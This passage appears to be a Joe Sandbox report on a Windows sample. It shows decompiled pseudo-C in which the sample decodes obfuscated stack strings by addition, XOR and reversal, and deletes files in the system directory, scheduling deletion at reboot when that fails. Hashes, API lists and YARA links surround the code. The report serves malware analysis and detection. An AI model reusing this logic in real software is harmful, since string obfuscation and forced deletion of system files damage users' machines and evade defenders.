RegCloseKey.ADVAPI32(?,?,8s2?,00000000,00000001,?,00000000), ref: 0041325A

Strings

s, xrefs: 0041303A
^, xrefs: 0041308F
e, xrefs: 00413224
~, xrefs: 004130ED
_, xrefs: 00413188
0, xrefs: 004130B7
?, xrefs: 00413030
k, xrefs: 00413144
3, xrefs: 00413094
B, xrefs: 004130FC
r, xrefs: 00413229
G, xrefs: 00413135
v, xrefs: 0041322E
7, xrefs: 0041313F
@, xrefs: 00413071
o, xrefs: 00413113
P, xrefs: 0041306C
8s2?, xrefs: 0041324A, 0041324E
#, xrefs: 00413067
d, xrefs: 004130F7
`, xrefs: 004130F2
\, xrefs: 00413026
?, xrefs: 0041313A
2, xrefs: 00413035
s, xrefs: 0041321F
t, xrefs: 0041321A
], xrefs: 00413175
;, xrefs: 00413170
,, xrefs: 0041309E
S, xrefs: 00413197
X, xrefs: 004130E8
P, xrefs: 00413192

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CloseFileModuleNameOpenValuelstrcatlstrlen
String ID: #$,$0$2$3$7$8s2?$;$?$?$@$B$G$P$P$S$X$\$]$^$_$`$d$e$k$o$r$s$s$t$v$~
API String ID: 2804959344-2516123405
Opcode ID: 905ad32eff5572e8cd8d0fff7586d9e60660510f0923f6f159179674ce25d07d
Instruction ID: 257fbee962606719a180b114f27db733f52dc193ceb5372a0b0aa966927f0725
Opcode Fuzzy Hash: 905ad32eff5572e8cd8d0fff7586d9e60660510f0923f6f159179674ce25d07d
Instruction Fuzzy Hash: 0091952100D7C299D322D77C584868FFFE15BA7228F485A9DF1E45B3E3C2A98249C767

Uniqueness

Uniqueness Score: -1.00%

Function 00422EF0, Relevance: 63.2, APIs: 7, Strings: 29, Instructions: 239
fileCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00422EF0() {
				intOrPtr _v8;
				char _v276;
				char _v540;
				char _v544;
				char _v545;
				char _v546;
				char _v547;
				char _v548;
				char _v549;
				char _v550;
				char _v551;
				char _v552;
				char _v553;
				char _v554;
				char _v555;
				char _v556;
				char _v557;
				char _v558;
				char _v559;
				char _v560;
				char _v564;
				char _v565;
				char _v566;
				char _v567;
				char _v568;
				char _v569;
				char _v570;
				char _v571;
				char _v572;
				char _v573;
				char _v574;
				char _v575;
				char _v576;
				char _v577;
				char _v578;
				char _v579;
				char _v580;
				char _v584;
				char _v585;
				char _v586;
				char _v587;
				char _v588;
				char _v589;
				char _v590;
				char _v591;
				char _v592;
				char _v593;
				char _v594;
				char _v595;
				char _v596;
				char _v597;
				char _v598;
				char _v599;
				char _v600;
				char _v604;
				char _v605;
				char _v606;
				char _v607;
				char _v608;
				char _v609;
				char _v610;
				char _v611;
				char _v612;
				char _v613;
				char _v614;
				char _v615;
				char _v616;
				char _v617;
				char _v618;
				char _v619;
				char _v620;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t147;
				void* _t149;
				CHAR* _t165;
				CHAR* _t171;
				signed int _t185;
				void* _t187;
				signed int _t188;
				signed int _t191;
				signed int _t194;
				int _t218;
				void* _t219;
				void* _t222;
				signed int _t223;
				void* _t225;

				_t222 = _t223;
				_t225 = (_t223 & 0xfffffff8) - 0x26c;
				_t147 =  *0x4310d8; // 0xd0c2a9a8
				_v8 = _t147;
				_v580 = 0x54;
				_v579 = 0x2c;
				_v578 = 0x7c;
				_v577 = 0xc;
				_v576 = 0x12;
				_v575 = 0x7c;
				_v574 = 0x2c;
				_v573 = 0xe7;
				_v572 = 0x50;
				_v571 = 0x8d;
				_v570 = 0x53;
				_v569 = 0x29;
				_v568 = 0xa2;
				_v567 = 0xa8;
				_v566 = 0x4e;
				_v565 = 0x45;
				_v564 = 0xc5;
				_v620 = 0x19;
				_v619 = 0x47;
				_v618 = 0xee;
				_v617 = 0x5d;
				_v616 = 0x22;
				_v615 = 0xb8;
				_v614 = 0xd;
				_v613 = 0x7c;
				_v612 = 0xe1;
				_v611 = 0xa7;
				_v610 = 0xf;
				_v609 = 0xe;
				_v608 = 0x8c;
				_v607 = 0xbc;
				_v606 = 0x1e;
				_v605 = 0x27;
				_v604 = 0x3b;
				_t218 = 0;
				do {
					 *((intOrPtr*)(_t225 + _t218 + 0x38)) =  *((intOrPtr*)(_t225 + _t218 + 0x38)) +  *((intOrPtr*)(_t225 + _t218 + 0x10));
					_t218 = _t218 + 1;
				} while (_t218 < 0x11);
				_v600 = 0x54;
				_v599 = 0x2c;
				_v598 = 0x7c;
				_v597 = 0xc;
				_v596 = 0x12;
				_v595 = 0x7c;
				_v594 = 0x2c;
				_v593 = 0xe7;
				_v592 = 0x50;
				_v591 = 0x8d;
				_v590 = 0x53;
				_v589 = 0x29;
				_v588 = 0xa2;
				_v587 = 0xa8;
				_v586 = 0x4e;
				_v585 = 0x45;
				_v584 = 0xc5;
				_v620 = 0xf;
				_v619 = 0x41;
				_v618 = 0xf9;
				_v617 = 0x68;
				_v616 = 0x22;
				_v615 = 0xb8;
				_v614 = 0xd;
				_v613 = 0x7c;
				_v612 = 0xe1;
				_v611 = 0xa7;
				_v610 = 0xf;
				_v609 = 0xe;
				_v608 = 0x8c;
				_v607 = 0xbc;
				_v606 = 0x1e;
				_v605 = 0x27;
				_v604 = 0x3b;
				_t219 = 0;
				do {
					 *((intOrPtr*)(_t225 + _t219 + 0x24)) =  *((intOrPtr*)(_t225 + _t219 + 0x24)) +  *((intOrPtr*)(_t225 + _t219 + 0x10));
					_t219 = _t219 + 1;
				} while (_t219 < 0x11);
				_v618 = 0x7c;
				_v615 = 0x7c;
				_v553 = 0x7c;
				_v620 = 0x54;
				_v619 = 0x2c;
				_v617 = 0xc;
				_v616 = 0x12;
				_v614 = 0x2c;
				_v613 = 0xe7;
				_v612 = 0x50;
				_v611 = 0x8d;
				_v610 = 0x53;
				_v609 = 0x29;
				_v608 = 0xa2;
				_v607 = 0xa8;
				_v606 = 0x4e;
				_v605 = 0x45;
				_v604 = 0xc5;
				_v560 = 0x14;
				_v559 = 0x44;
				_v558 = 0xfe;
				_v557 = 0x60;
				_v556 = 0x22;
				_v555 = 0xb8;
				_v554 = 0xd;
				_v552 = 0xe1;
				_v551 = 0xa7;
				_v550 = 0xf;
				_v549 = 0xe;
				_v548 = 0x8c;
				_v547 = 0xbd;
				_v546 = 0x2a;
				_v545 = 0x20;
				_v544 = 0x3b;
				_t149 = 0;
				do {
					_t180 =  *((intOrPtr*)(_t225 + _t149 + 0x10)) +  *((intOrPtr*)(_t225 + _t149 + 0x4c));
					 *((char*)(_t225 + _t149 + 0x10)) =  *((intOrPtr*)(_t225 + _t149 + 0x10)) +  *((intOrPtr*)(_t225 + _t149 + 0x4c));
					_t149 = _t149 + 1;
				} while (_t149 < 0x11);
				_push(0x104);
				_t185 = 0x41;
				memset( &_v276, 0, _t185 << 2);
				GetSystemDirectoryA( &_v276, ??);
				E00422920(_t180,  &(( &_v276)[_t185]), _t219, _t222);
				_t187 = 0x41;
				_t188 = _t187;
				memset( &_v540, 0, _t188 << 2);
				_push( &_v580);
				_push( &_v276);
				_push("%s\%s");
				_push(0x103);
				_push( &_v540);
				E0042544D();
				if(DeleteFileA( &_v540) == 0) {
					MoveFileExA( &_v540, 0, 4);
				}
				asm("pushad");
				asm("popad");
				_t191 = 0x41;
				memset( &_v540, 0, _t191 << 2);
				_push( &_v600);
				_push( &_v276);
				_push("%s\%s");
				_push(0x103);
				_push( &_v540);
				E0042544D();
				_t165 = DeleteFileA( &_v540);
				if(_t165 == 0) {
					MoveFileExA( &_v540, _t165, 4);
				}
				_t194 = 0x41;
				memset( &_v540, 0, _t194 << 2);
				_push( &_v620);
				_push( &_v276);
				_push("%s\%s");
				_push(0x103);
				_push( &_v540);
				E0042544D();
				_t171 = DeleteFileA( &_v540);
				if(_t171 == 0) {
					_t171 = MoveFileExA( &_v540, _t171, 4);
				}
				return E00424873(_t171, _v8);
			}

0x00422ef2
0x00422ef6
0x00422efc
0x00422f02
0x00422f11
0x00422f16
0x00422f1a
0x00422f1e
0x00422f23
0x00422f28
0x00422f2c
0x00422f30
0x00422f35
0x00422f3a
0x00422f3f
0x00422f44
0x00422f49
0x00422f4e
0x00422f53
0x00422f58
0x00422f5d
0x00422f62
0x00422f67
0x00422f6c
0x00422f71
0x00422f76
0x00422f7b
0x00422f80
0x00422f85
0x00422f89
0x00422f8e
0x00422f93
0x00422f97
0x00422f9c
0x00422fa1
0x00422fa6
0x00422fab
0x00422fb0
0x00422fb5
0x00422fb7
0x00422fbb
0x00422fbf
0x00422fc0
0x00422fc5
0x00422fca
0x00422fce
0x00422fd2
0x00422fd7
0x00422fdc
0x00422fe0
0x00422fe4
0x00422fe9
0x00422fee
0x00422ff3
0x00422ff8
0x00422ffd
0x00423002
0x00423007
0x0042300c
0x00423011
0x00423016
0x0042301a
0x0042301f
0x00423024
0x00423029
0x0042302e
0x00423033
0x00423038
0x0042303c
0x00423041
0x00423046
0x0042304a
0x0042304f
0x00423054
0x00423059
0x0042305e
0x00423063
0x00423068
0x00423070
0x00423074
0x00423078
0x00423079
0x0042307e
0x00423082
0x00423086
0x0042308a
0x0042308f
0x00423093
0x00423098
0x0042309d
0x004230a1
0x004230a6
0x004230ab
0x004230b0
0x004230b5
0x004230ba
0x004230bf
0x004230c4
0x004230c9
0x004230ce
0x004230d3
0x004230d8
0x004230dd
0x004230e2
0x004230e7
0x004230ec
0x004230f1
0x004230f6
0x004230fb
0x00423100
0x00423104
0x00423109
0x0042310e
0x00423113
0x00423118
0x0042311d
0x00423122
0x00423124
0x0042312c
0x0042312e
0x00423132
0x00423133
0x00423138
0x0042314a
0x00423153
0x00423155
0x0042315b
0x00423164
0x00423166
0x0042316b
0x00423171
0x00423179
0x0042317a
0x00423183
0x00423188
0x00423189
0x004231a6
0x004231b1
0x004231b1
0x004231b5
0x004231b6
0x004231b9
0x004231be
0x004231c4
0x004231cc
0x004231cd
0x004231d6
0x004231db
0x004231dc
0x004231e9
0x004231ed
0x004231f7
0x004231f7
0x004231ff
0x00423204
0x0042320a
0x00423212
0x00423213
0x0042321c
0x00423221
0x00423222
0x00423231
0x00423233
0x0042323d
0x0042323d
0x00423251

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00423155
DeleteFileA.KERNEL32(?), ref: 0042319C
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 004231B1
DeleteFileA.KERNEL32(?), ref: 004231E9
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 004231F7
DeleteFileA.KERNEL32(?), ref: 0042322F
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0042323D

Strings

;, xrefs: 0042311D
E, xrefs: 00422F58
S, xrefs: 00422F3F
, xrefs: 00423118
E, xrefs: 0042300C
S, xrefs: 004230B0
N, xrefs: 00423007
A, xrefs: 0042301A
), xrefs: 00422F44
`, xrefs: 004230E2
;, xrefs: 00423063
P, xrefs: 00422FE9
), xrefs: 004230B5
T, xrefs: 00422FC5
E, xrefs: 004230C9
S, xrefs: 00422FF3
N, xrefs: 004230C4
h, xrefs: 00423024
*, xrefs: 00423113
N, xrefs: 00422F53
), xrefs: 00422FF8
P, xrefs: 004230A6
", xrefs: 00423029
D, xrefs: 004230D8
P, xrefs: 00422F35
%s\%s, xrefs: 0042317A, 004231CD, 00423213
T, xrefs: 00422F11
T, xrefs: 0042308A
", xrefs: 004230E7

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: File$DeleteMove$DirectorySystem
String ID: $"$"$%s\%s$)$)$)$*$;$;$A$D$E$E$E$N$N$N$P$P$P$S$S$S$T$T$T$`$h
API String ID: 84336133-1389313269
Opcode ID: 8d5df65882d070d840b9d5a273f0b4353d6e803527a7cad3ffa07217f14abba0
Instruction ID: 59daa2f07a6a96f659ced50fa43f26bd2ce87a63755502308caa8c721a16bd25
Opcode Fuzzy Hash: 8d5df65882d070d840b9d5a273f0b4353d6e803527a7cad3ffa07217f14abba0
Instruction Fuzzy Hash: 7EB1FC6110C7C199D322DA7D984869FFFD41BE7218F480E9DF1E45B2D2C2A9824DC7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040C3C0, Relevance: 60.3, APIs: 2, Strings: 38, Instructions: 299
stringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040C3C0(intOrPtr __ecx, intOrPtr _a4) {
				intOrPtr _v4;
				char _v12;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				void* _v41;
				void* _v42;
				void* _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				void* _v137;
				void* _v138;
				void* _v139;
				intOrPtr _v140;
				void* _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				void* _v156;
				void* _v160;
				void* __edi;
				intOrPtr _t221;
				void* _t223;
				void* _t224;
				int _t225;
				void* _t237;
				intOrPtr _t242;
				void* _t249;
				void* _t265;
				void* _t286;
				CHAR* _t290;
				intOrPtr _t291;
				intOrPtr _t294;
				intOrPtr _t296;
				void* _t300;

				_t221 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t221;
				_v140 = __ecx;
				_v73 = 0xb0;
				_v44 = 0xb0;
				_v136 = 0xb0;
				_v144 = 0xd;
				_v143 = 0xa;
				_v142 = 0;
				_v88 = 0x9a;
				_v87 = 0x34;
				_v86 = 0x27;
				_v85 = 0x9b;
				_v84 = 0xf6;
				_v83 = 0x16;
				_v82 = 0x4f;
				_v81 = 0x95;
				_v80 = 1;
				_v79 = 0x88;
				_v78 = 0xcc;
				_v77 = 0xe;
				_v76 = 0x92;
				_v75 = 0x83;
				_v74 = 0xe9;
				_v72 = 0xc0;
				_v71 = 0xc3;
				_v70 = 0xbd;
				_v69 = 0x29;
				_v68 = 0xe7;
				_v67 = 0xbc;
				_v66 = 0x85;
				_v65 = 0xab;
				_v64 = 0xfb;
				_v63 = 0x41;
				_v62 = 0x91;
				_v61 = 0xb2;
				_v60 = 0;
				_v59 = 0x98;
				_v58 = 0xca;
				_v57 = 5;
				_v56 = 0xda;
				_v55 = 0xa4;
				_v54 = 0x93;
				_v53 = 0xa4;
				_v52 = 0xd4;
				_v51 = 0x67;
				_v50 = 6;
				_v49 = 0x9a;
				_v48 = 0xfa;
				_v47 = 0xfd;
				_v46 = 0xda;
				_v45 = 0x64;
				_v135 = 0x6e;
				_v134 = 0xd7;
				_v133 = 0x94;
				_v132 = 0x93;
				_v131 = 0xf9;
				_v130 = 0x75;
				_v129 = 6;
				_v128 = 0xf9;
				_v127 = 0xd7;
				_v126 = 0xe6;
				_v125 = 0x99;
				_v124 = 0xae;
				_v123 = 0x60;
				_v122 = 0xb9;
				_v121 = 0xea;
				_v120 = 0x61;
				_v119 = 0xda;
				_v118 = 0xf2;
				_v117 = 0x61;
				_v116 = 0xc0;
				_v115 = 0xc5;
				_v114 = 0xec;
				_v113 = 0xdd;
				_v112 = 0x8b;
				_v111 = 0x59;
				_v108 = 0xb8;
				_v99 = 0xb8;
				_v96 = 0x93;
				_v110 = 0x92;
				_v109 = 0xb7;
				_v107 = 0xd5;
				_v106 = 0x9d;
				_v105 = 0xa3;
				_v104 = 0xa8;
				_v103 = 0x6b;
				_v102 = 0xbc;
				_v101 = 0xf1;
				_v100 = 0x55;
				_v98 = 0x3b;
				_v97 = 0x78;
				_v95 = 0xef;
				_v94 = 0x49;
				_v93 = 0x5b;
				_v92 = 0xd9;
				_t223 = 0;
				_t249 = 0x2c;
				do {
					_v145 =  *((intOrPtr*)(_t300 + _t223 + 0xc));
					 *((char*)(_t300 + _t223 + 0xc)) =  *((intOrPtr*)(_t300 + _t249 + 0xc));
					_t223 = _t223 + 1;
					 *((char*)(_t300 + _t249 + 0xc)) = _v145;
					_t249 = _t249 - 1;
				} while (_t223 < _t249);
				_t224 = 0;
				 *0x431c88 = 0xb;
				do {
					 *(_t300 + _t224 + 0x3c) =  *(_t300 + _t224 + 0x3c) ^  *(_t300 + _t224 + 0xc);
					 *(_t300 + _t224 + 0x3d) =  *(_t300 + _t224 + 0x3d) ^  *(_t300 + _t224 + 0xd);
					 *(_t300 + _t224 + 0x3e) =  *(_t300 + _t224 + 0x3e) ^  *(_t300 + _t224 + 0xe);
					 *(_t300 + _t224 + 0x3f) =  *(_t300 + _t224 + 0x3f) ^  *(_t300 + _t224 + 0xf);
					 *(_t300 + _t224 + 0x40) =  *(_t300 + _t224 + 0x40) ^  *(_t300 + _t224 + 0x10);
					_t224 = _t224 + 5;
				} while (_t224 < 0x2d);
				_t225 = lstrlenA( &_v88);
				_t296 = _a4;
				if(E0041BC30( &_v88, _t296,  &_v88, _t225) != 0xffffffff) {
					_v20 = 0xf8;
					_v135 = 0xf8;
					 *((char*)(_t300 + 0x92)) = 0xcb;
					_v134 = 0xcb;
					_push( &_v40);
					_t286 = 0x22;
					_v40 = 0x3d;
					_v39 = 0x4f;
					_v38 = 0x91;
					_v37 = 0xe;
					_v36 = 0x81;
					_v35 = 0x94;
					_v34 = 0x61;
					_v33 = 0xc4;
					_v32 = 0x70;
					_v31 = 0x12;
					_v30 = 0x7d;
					_v29 = 0x40;
					_v28 = 0xce;
					_v27 = 0x3a;
					_v26 = 0xa1;
					_v25 = 0xe8;
					_v24 = 0xd7;
					_v23 = 0xc0;
					_v22 = 0x28;
					_v21 = 0x86;
					_v19 = 0x4f;
					_v18 = 0x88;
					_v17 = 0xd;
					_v16 = 0;
					_v15 = 0x3b;
					 *((char*)(_t300 + 0x97)) = 0x95;
					_v12 = 0x44;
					 *((char*)(_t300 + 0x99)) = 0xdd;
					 *((char*)(_t300 + 0x9a)) = 5;
					 *((char*)(_t300 + 0x9b)) = 0xc6;
					 *((char*)(_t300 + 0x9c)) = 0xf2;
					 *((char*)(_t300 + 0x9d)) = 2;
					_v136 = 2;
					_v133 = 0x71;
					_v132 = 0xb4;
					_v131 = 0x26;
					_v130 = 0xa2;
					_v129 = 0xeb;
					_v128 = 1;
					_v127 = 0x67;
					_v126 = 0x63;
					_v125 = 0xe1;
					_v124 = 0x2b;
					_v123 = 0x97;
					_v122 = 0xe5;
					_v121 = 0x46;
					_v120 = 0x85;
					_v119 = 0xfa;
					_v118 = 0x9a;
					_v117 = 0xc4;
					_v116 = 0x5c;
					_v115 = 0xbd;
					_v114 = 0x2e;
					_v113 = 0x1c;
					_v112 = 0x60;
					_v111 = 0x24;
					_v110 = 0xe9;
					_v109 = 0x15;
					_v108 = 0xfa;
					_v107 = 0xe4;
					_v106 = 0x7a;
					_v105 = 0xff;
					_v104 = 0x20;
					_v103 = 0x7e;
					_push(E0040BDA0( &_v136, _t286));
					_pop(_t290);
					if(E0041BC30(lstrlenA(_t290), _t296, _t290, _t231) != 0xffffffff) {
						_t291 = _v140;
						_t234 =  *((intOrPtr*)(_t291 + 0x84));
						if( *((intOrPtr*)(_t291 + 0x84)) == 0) {
							L14:
							_t237 = 0 | E0041BC30( &_v144, _t296,  &_v144, 2) != 0xffffffff;
							return E00424873(_t237, _v12);
						} else {
							_push(2);
							_push( &_v144);
							_t265 = _t296;
							if(E0041BC30(_t234, _t265) == 0xffffffff) {
								goto L7;
							} else {
								_t242 =  *((intOrPtr*)(_t291 + 0x84));
								if( *((intOrPtr*)(_t291 + 0x88)) < 0x10) {
									_t294 = _t291 + 0x74;
								} else {
									_t294 =  *((intOrPtr*)(_t291 + 0x74));
								}
								if(E0041BC30(_t242, _t296, _t294, _t242) == 0xffffffff) {
									goto L7;
								} else {
									goto L14;
								}
							}
						}
					} else {
						L7:
						return E00424873(0, _v4);
					}
				} else {
					return E00424873(0, _v4);
				}
			}

0x0040c3c6
0x0040c3cd
0x0040c3d4
0x0040c3da
0x0040c3e0
0x0040c3e4
0x0040c3ea
0x0040c3ef
0x0040c3f4
0x0040c3f9
0x0040c3fe
0x0040c403
0x0040c408
0x0040c40d
0x0040c412
0x0040c417
0x0040c41c
0x0040c421
0x0040c426
0x0040c42b
0x0040c430
0x0040c435
0x0040c43a
0x0040c43f
0x0040c444
0x0040c449
0x0040c44e
0x0040c453
0x0040c458
0x0040c45d
0x0040c462
0x0040c467
0x0040c46c
0x0040c471
0x0040c476
0x0040c47b
0x0040c480
0x0040c485
0x0040c48a
0x0040c48f
0x0040c494
0x0040c498
0x0040c49d
0x0040c4a1
0x0040c4a6
0x0040c4ab
0x0040c4b0
0x0040c4b5
0x0040c4ba
0x0040c4bf
0x0040c4c4
0x0040c4c8
0x0040c4cd
0x0040c4d2
0x0040c4d7
0x0040c4dc
0x0040c4e0
0x0040c4e4
0x0040c4e9
0x0040c4ee
0x0040c4f2
0x0040c4f7
0x0040c4fc
0x0040c501
0x0040c506
0x0040c50b
0x0040c510
0x0040c515
0x0040c51a
0x0040c51e
0x0040c523
0x0040c528
0x0040c52d
0x0040c532
0x0040c537
0x0040c53c
0x0040c541
0x0040c548
0x0040c54c
0x0040c550
0x0040c554
0x0040c559
0x0040c55e
0x0040c563
0x0040c568
0x0040c56d
0x0040c572
0x0040c577
0x0040c57c
0x0040c581
0x0040c586
0x0040c58b
0x0040c590
0x0040c595
0x0040c59a
0x0040c59f
0x0040c5a4
0x0040c5a6
0x0040c5b0
0x0040c5b4
0x0040c5bc
0x0040c5c4
0x0040c5c5
0x0040c5c9
0x0040c5ca
0x0040c5ce
0x0040c5d0
0x0040c5e0
0x0040c5ee
0x0040c5fc
0x0040c60a
0x0040c618
0x0040c622
0x0040c626
0x0040c629
0x0040c634
0x0040c63a
0x0040c651
0x0040c671
0x0040c678
0x0040c682
0x0040c689
0x0040c68d
0x0040c696
0x0040c697
0x0040c69c
0x0040c6a1
0x0040c6a6
0x0040c6ab
0x0040c6b3
0x0040c6bb
0x0040c6c3
0x0040c6ca
0x0040c6d2
0x0040c6da
0x0040c6e2
0x0040c6ea
0x0040c6f2
0x0040c6fa
0x0040c702
0x0040c70a
0x0040c712
0x0040c71a
0x0040c722
0x0040c72a
0x0040c732
0x0040c73a
0x0040c742
0x0040c74a
0x0040c752
0x0040c75a
0x0040c762
0x0040c76a
0x0040c772
0x0040c77a
0x0040c782
0x0040c78a
0x0040c78f
0x0040c794
0x0040c799
0x0040c79e
0x0040c7a3
0x0040c7a8
0x0040c7ad
0x0040c7b2
0x0040c7b7
0x0040c7bc
0x0040c7c1
0x0040c7c6
0x0040c7cb
0x0040c7d0
0x0040c7d5
0x0040c7da
0x0040c7df
0x0040c7e3
0x0040c7e8
0x0040c7ed
0x0040c7f2
0x0040c7f7
0x0040c7fc
0x0040c801
0x0040c806
0x0040c80b
0x0040c810
0x0040c815
0x0040c81a
0x0040c81f
0x0040c824
0x0040c82e
0x0040c82f
0x0040c843
0x0040c85f
0x0040c869
0x0040c86b
0x0040c8a5
0x0040c8bf
0x0040c8d2
0x0040c86d
0x0040c86d
0x0040c873
0x0040c875
0x0040c87e
0x00000000
0x0040c880
0x0040c887
0x0040c88d
0x0040c894
0x0040c88f
0x0040c88f
0x0040c88f
0x0040c8a3
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c8a3
0x0040c87e
0x0040c845
0x0040c845
0x0040c85c
0x0040c85c
0x0040c653
0x0040c668
0x0040c668

APIs

lstrlenA.KERNEL32(?,73B76980), ref: 0040C634

Strings

p, xrefs: 0040C6CA
g, xrefs: 0040C7AD
$, xrefs: 0040C7FC
n, xrefs: 0040C4CD
g, xrefs: 0040C4AB
`, xrefs: 0040C506
d, xrefs: 0040C4C8
I, xrefs: 0040C595
a, xrefs: 0040C6BB
(, xrefs: 0040C71A
+, xrefs: 0040C7BC
@, xrefs: 0040C6E2
`, xrefs: 0040C7F7
x, xrefs: 0040C58B
', xrefs: 0040C403
}, xrefs: 0040C6DA
u, xrefs: 0040C4E4
q, xrefs: 0040C78F
, xrefs: 0040C81F
O, xrefs: 0040C72A
O, xrefs: 0040C69C
c, xrefs: 0040C7B2
:, xrefs: 0040C6F2
F, xrefs: 0040C7CB
;, xrefs: 0040C74A
z, xrefs: 0040C815
k, xrefs: 0040C572
~, xrefs: 0040C824
&, xrefs: 0040C799
), xrefs: 0040C453
O, xrefs: 0040C417
[, xrefs: 0040C59A
A, xrefs: 0040C471
=, xrefs: 0040C697
., xrefs: 0040C7ED
D, xrefs: 0040C75A
\, xrefs: 0040C7E3
a, xrefs: 0040C515

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: lstrlen
String ID: $$$&$'$($)$+$.$:$;$=$@$A$D$F$I$O$O$O$[$\$`$`$a$a$c$d$g$g$k$n$p$q$u$x$z$}$~
API String ID: 1659193697-1776773038
Opcode ID: d16e5709b630531e3646a1b4218007f98914b6fb99342047272efc8c1d02c4a6
Instruction ID: 6b9bcb9f906722066219d1e14d21f2b7e9eb782e87b12d52839ccaab22214e7b
Opcode Fuzzy Hash: d16e5709b630531e3646a1b4218007f98914b6fb99342047272efc8c1d02c4a6
Instruction Fuzzy Hash: 86F1C41100C7C2C9D322D63D588878FFFD15BA7228F585B9DF1E89A2E3D6A5810AC767

Uniqueness

Uniqueness Score: -1.00%

Function 00421EC0, Relevance: 58.1, APIs: 4, Strings: 29, Instructions: 316
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00421EC0() {
				intOrPtr _v8;
				char _v276;
				void _v540;
				char _v804;
				char _v1068;
				char _v1072;
				char _v1073;
				char _v1074;
				char _v1075;
				char _v1076;
				char _v1077;
				char _v1078;
				char _v1079;
				char _v1080;
				char _v1081;
				char _v1082;
				char _v1083;
				char _v1084;
				char _v1085;
				char _v1086;
				char _v1087;
				char _v1088;
				char _v1092;
				char _v1093;
				char _v1094;
				char _v1095;
				char _v1096;
				char _v1097;
				char _v1098;
				char _v1099;
				char _v1100;
				char _v1101;
				char _v1102;
				char _v1103;
				char _v1104;
				char _v1105;
				char _v1106;
				char _v1107;
				char _v1108;
				char _v1112;
				char _v1113;
				char _v1114;
				char _v1115;
				char _v1116;
				char _v1117;
				char _v1118;
				char _v1119;
				char _v1120;
				char _v1121;
				char _v1122;
				char _v1123;
				char _v1124;
				char _v1125;
				char _v1126;
